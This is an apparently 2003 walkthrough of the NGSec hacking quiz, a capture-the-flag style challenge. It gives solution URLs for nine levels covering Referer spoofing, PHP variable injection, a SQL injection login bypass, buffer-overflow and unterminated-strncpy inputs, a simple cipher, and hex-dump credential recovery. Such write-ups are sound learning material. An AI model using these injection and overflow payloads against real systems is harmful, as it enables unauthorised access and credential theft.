Quiz 1:

Password Guessing

If you can't get this one on your own, stop now.

 

Quiz 2:

HTTP Headers

 

You can use either GET or POST to complete this one. The object is to spoof that you were referred from some other page, which you have to guess.  The key is simply adding a “Referer:” in the POST/GET request that you send.  (much crap delete from the server response)

 

telnet quiz.ngsec.biz 8080

POST /game1/level2/validate_l33t.php?login=admin&password=ngsec HTTP/1.0

Referer: http://www.ngsec.com

Host: quiz.ngsec.biz

 

HTTP/1.1 200 OK

Date: Wed, 13 Aug 2003 16:28:46 GMT

Server: Apache

Connection: close

Content-Type: text/html

***purged***

<p class="txt"><b>CONGRATULATIONS!!! Authentication Completed!</b></p>

<p class="txt">At this point <b>you should update your score</b> filling this form.</p>

***purged***

Connection to host lost.

 

C:\paw>

 

NOTE: Make sure you capture the provided link in the response in order to submit your username/password so that the next quiz-link will be emailed to you. 

 

Quiz 3:

PHP Variable passing

 

Follow the link provided to view the source of validate_NGrules.php.

In the source, we can see that 2 variable are checked and used to set the value of variable #3 ($state).  We can just pass $state in the GET request and bypass the

security checking.

 

http://quiz.ngsec.biz:8080/game1/level3/validate_NGrules.php?login=&password=&state=NGauthenticated

 

Quiz 4:

More PHP Variable jerking

 

In the provided link to the pseudo code, we see: $fd=@fopen($auth_file,"r");

 

This gives us an opportunity to specify the $auth_file in a GET parameter.  Naturally, on a given system there are hundreds of files that we could specify to fake our authentication.  But, since the game provides us a sample file of "auth_file-format.txt" in the same directory, we can just use that.  The auth_file-format.txt file contains "user password" which we can now specify in our GET request, such as:

 

http://quiz.ngsec.biz:8080/game1/level4/validate_tryforfun.php?login=user&password=password&auth_file=auth_file-format.txt

 

(Naturally, we get the base URL from the <FORM> fields in the HTML source.  This tells us where to submit our login request.)

 

 

Quiz 5:

PHP Injection playtime

 

The SQL statement is: SELECT * FROM $table WHERE user='$login' AND pass='$password'"

I modify the SQL statement by using a password of 'test' or pass!='' (since we can be sure the admin did not leave the password blank).  This translates into a URL of:

 

http://quiz2.ngsec.biz:8080/game1/level5/validate_achtung.php?login=admin&password=test%27+or+pass%21%3d%27%27%27

 

Which expands to the SQL statement below:

SELECT * FROM $table WHERE user='$login' AND pass='$password' or pass!=''

 

Quiz 6:

Overflowing variables

 

This quiz presents us with 2 variables of interest, error_on_auth and user.  The error_on_auth is 1 byte, and user is allocated 128 bytes.  You need to think about how these values are stored in memory in order to pass this quiz. (more later)

We can submit data for user and pass.  If not NULL, then the value passed is copied into memory allocated for user and pass. If we send 132 bytes for user, and nothing for pass, then we overflow the space allocated for user (which is then filled with arbitrary data), and begin to fill memory for the next variable error_on_auth.  If we dump a value of zero at the right location, then we can effectively change the pre-defined value of error_on_auth from 1 to 0, which will make the program 'think' that we are authenticated ( if error_on_auth=='0' ).  By sending 132 bytes of arbitrary data followed by a zero to user, we successfully change the value of error_on_auth and fool the program into authenticating us.

 

If you have basic math skillz, you are probably wondering "why 132 bytes instead of 129?"  The answer lies in the fact that memory is accessed using the WORD size, which is 4 bytes.  Even though error_on_auth is CHAR which is 1 byte, it still occupies 4 bytes in memory.  The first 3 bytes can be ignored, since the last byte is the only one that is relevant.

 

Just for fun, I have provided two possible solutions, the first overflowing the user variable, the second taking the longer route and overflowing the pass variable.  Not that the none of the values are really important, except for the final zero which overwrites the error_on_auth CHAR value of 1.

 

http://quiz.ngsec.biz:8080/game1/level6/validate_replicant.cgi?login=123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.10&password=

 

http://quiz.ngsec.biz:8080/game1/level6/validate_replicant.cgi?login=&password=123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.1234567890

 

Quiz 7:

Abusing non-terminated STRNCPY()

 

The strcpy() function is the most common type of buffer issue.  To prevent security issues, the use of strncpy() has become common.  This function allows a programmer to copy a value into another value while restricting the number of bytes copied.  This quiz requires the user to know that when strncpy() copies a number of bytes less that the size of the buffer, it will append a NULL ( \0 ) onto the string.  Likewise, if the number of bytes copied is equal or greater than the size of the buffer, the function will not append the NULL ( \0 ) string terminator since it simply would not fit in memory.  In the "validate_net-dreamer.txt" source, we see that the program has the REAL username and password stored in a static variable called "correct".  Ideally, we would like to print this out to the browser and make life super easy for us.  This is quite easily done using the technique described above.  We simply provide a password that is a full 128 bytes or longer, preventing the strncpy() function from appending the string terminator (\0).  Then, the program is kind enough to provide an error page (show_error()) which echos back our invalid username and password.  Since the password string is not terminated with a \0,  the printf() function continues to print bytes until it finally reaches a \0 which happens to be at the end of the correct[128] buffer contents.  This is because pass[128] is located in memory directly next to correct[128].

 

To complete, simply enter any username (osama?) and 128 (or more) arbitrary characters for your password.  The view the error page for the correct username/password.

 

http://quiz.ngsec.biz:8080/game1/level7/validate_net-dreamer.cgi?login=osama&password=12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678

 

Either your username (osama) or password (12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678Correct user is beowulf with password athlon ) are incorrect. Please go back and try again.

 

Quiz 8:

Authentication & enciphers

 

This one really stumped me for a bit, which made me feel all the more silly when I finally figured it out.  The sample authentication file was so obvious that I cannot believe I didn't catch it immediately.  The key lies in the fact that all the password and usernames are of the same length, implying a simple encipherment algorithm.  A quick crypto-analysis of the username/password pairs reveals a pattern.  Each character of the password must be one half of the alphabet away from the corresponding character in the username, plus its position in the username string.  Such that if the username is "abc", then the password would be "npr".  The login page restricts usernames to 6 characters, so I used "abcdef" with password of "nprtvx".  Apparently, any username with a properly formatted password will work.  The given username/password are correct, but fail to meet the 6 character minimum that is required.

 

Quiz 9:

Disassembling executables

 

This quiz provides the user a Linux executable call "validate_onlyforyoureyes."  My first thought was to simply try and run "strings" and see what ASCII text was visible in the program.  Good idea, but nothing worthwhile resulted.  My next thought was that since I had a local executable, I could just write a PERL driver and brute force the password, but I was pretty sure there had to be a better way.  The program is 4992 bytes in length, which seemed to make it fairly reasonable to try and reverse engineer.

 

I opened the program using "HEDIT.EXE" on my Windows box.  HEDIT, in case your unaware, is a very bare bones utility for poking around in binary files.  I love it.  Its fairly easy to locate the various key areas of the executable just by quickly scrolling through the Hex and ASCII viewer.  Again, I was unable to locate any clear text usernames and passwords, so I assumed they must be somehow obfuscated within the code.  At location 0x608 through 0x6d9 I noticed what seemed to be a pattern of individual ASCII letters, each separated by 7 bytes.  Looking at the bytes, I found a pattern.  It appeared that the first 3 bytes were an address or offset, followed by a WORD with the least significant byte being ASCII.  After some tedious effort, I was able to produce the following chart:

 

STARTING @ BYTE 0x608-0x6d9

c6 85 88      Z      (0x5a)

c6 85 89      g      (0x67)

c6 85 8a      a      (0x61)

c6 85 8b      l      (0x6c)

c6 85 8c      o      (0x6f)

c6 85 8d      p      (0x70)

c6 85 8e      a      (0x61)

c6 85 8f      n      (0x6e)

c6 85 90      t      (0x74)

c6 85 91      e      (0x65)

c6 85 92      NULL   (0x00)

 

c6 85 b8      Z      (0x5a)

c6 85 b9      i      (0x69)

c6 85 ba      n      (0x6e)

c6 85 bb      c      (0x63)

c6 85 bc      o      (0x6f)

c6 85 bd      m      (0x6d)

c6 85 be      p      (0x70)

c6 85 bf      e      (0x65)

c6 85 c0      t      (0x74)

c6 85 c1      e      (0x65)

c6 85 c2      n      (0x6e)

c6 85 c3      c      (0x63)

c6 85 c4      i      (0x69)

c6 85 c5      a      (0x61)

c6 85 c6      NULL   (0x00)

 

c6 86 f0      M      (0x4d)

c6 86 f1      o      (0x6f)

c6 86 f2      D      (0x44)

c6 85 f3      NULL   (0x00)

 

It turns out that the first two, provide the password and username. I am still mystified what the "MoD" is there for, I will assume its a hidden shout-out to Phiber-Optic and the old "Masters of Destruction" crew (?)  Anyone at NGSec care to comment?

 

FINAL NOTE: Does anyone know if the 0xc6 is a one-byte op-code for X86?  That would make sense to me, but I haven’t bothered to look up what OP-code 0xc6 is…

 

UPDATE: Ok, 0xc6 is the opcode for the “mov” instruction.  So:

c6 85 88    Z     (0x5a)

will translate to:  

mov 0x8588,0x5a

 

Just wanted to clear that up for anyone (probably nobody) who is interested… =)

 

Quiz 10:

Haven’t attempted this one yet.  Waiting until I have a few free and uninterrupted hours.